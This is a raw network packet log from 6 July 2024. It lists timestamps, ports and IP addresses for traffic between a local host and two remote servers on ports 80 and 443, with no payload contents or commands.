Jul 6, 2024 14:10:12.771235943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771301031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771368980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771389961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771541119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771550894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771599054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771614075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771651030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771709919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771720886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771776915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771800041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771816969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771852970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771857023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771927118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771939039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772013903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772034883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.772072077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772114038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.772201061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772223949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772322893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772334099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772345066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.772494078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.772551060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772629976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772636890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.772677898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.772713900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772726059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772799969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.772841930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.772934914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.772950888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.773004055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.773104906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.773154974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.773173094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.773186922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.773207903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.773247004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.773272991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.773313046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.773313999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.773336887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.773350954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.773416996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.961878061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.961920977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.961935997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.961961031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.962007999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.962007999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.962022066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962084055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962097883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962122917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.962199926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.962318897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962387085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962402105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962412119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.962461948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962475061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962491989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.962610006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.962635994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962708950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962723017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962768078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.962768078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.962816954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962896109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.962908983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963073015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.963165045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963231087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963244915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963254929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.963294029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.963506937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963546991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963562965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963572025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.963584900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963608980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.963608980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.963651896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963663101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.963716984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963738918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.963778019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963803053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.963850975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.963865042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.963969946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.964462996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964524984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964540958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964550018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.964647055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.964654922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964669943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964684963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964709044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.964721918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964745998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.964780092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964795113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964802980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.964860916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.964940071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964977026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964992046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.964998960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.965027094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.965042114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.965049982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.965055943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.965078115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.965154886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.965317965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.965372086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.965374947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.965385914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.965430975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.965430975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.965437889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.965600967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.965756893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.965826035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.965841055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.965846062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.965918064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.965940952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.965996981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966028929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.966037035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966051102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966069937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.966162920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.966226101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966275930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966289997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966299057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.966407061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966419935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966432095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.966505051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.966579914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966629982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966650963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.966867924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.966870070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966903925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966917992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966923952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.966931105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.966979027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.966979027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.966995955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.967044115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.967060089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.967119932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.967119932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.157913923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.157967091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.157984018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.157989979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.157999039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158015013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158030033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158035040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158035040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158035040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158046007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158066988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158066988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158092022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158118010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158133030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158147097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158158064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158160925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158176899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158180952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158230066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158230066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158391953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158427954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158443928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158458948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158469915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158473969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158488989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158499002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158504009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158519030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158526897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158534050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158548117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158554077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158561945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158603907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158603907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158713102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158788919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158830881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158842087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158844948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158871889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158879042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158906937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158910036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158925056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158936977 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158938885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158947945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158955097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158967972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.158970118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.158977985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159018040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159018040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159051895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159065008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159079075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159096003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159107924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159107924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159116030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159126997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159142017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159152985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159156084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159163952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159198999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159198999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159256935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159369946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159398079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159400940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159416914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159425974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159430027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159473896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159473896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159507990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159579992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159744024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159771919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159789085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159809113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159816027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159895897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159908056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159917116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.159945965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159959078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.159972906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.160042048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.160043955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160079002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160104036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.160182953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160214901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.160244942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160271883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.160286903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.160290956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160304070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160406113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160458088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.160458088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.160517931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160531044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160545111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160602093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.160602093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.160711050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160764933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160795927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.160969019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.161241055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.161253929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.161267042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.161282063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.161334991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.161334991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.162534952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.162587881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.235460043 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:13.235542059 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:13.239187002 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:13.239207029 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:13.239517927 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:13.285918951 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:13.349880934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.349941969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.349948883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.349957943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.349982977 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350018978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350025892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350080967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350177050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350243092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350255966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350277901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350292921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350316048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350337982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350347042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350389004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350464106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350476027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350503922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350517035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350531101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350524902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350559950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350569963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350629091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350644112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.350673914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.350687027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351140022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351172924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351187944 CEST	49732	80	192.168.2.4	211.108.60.155
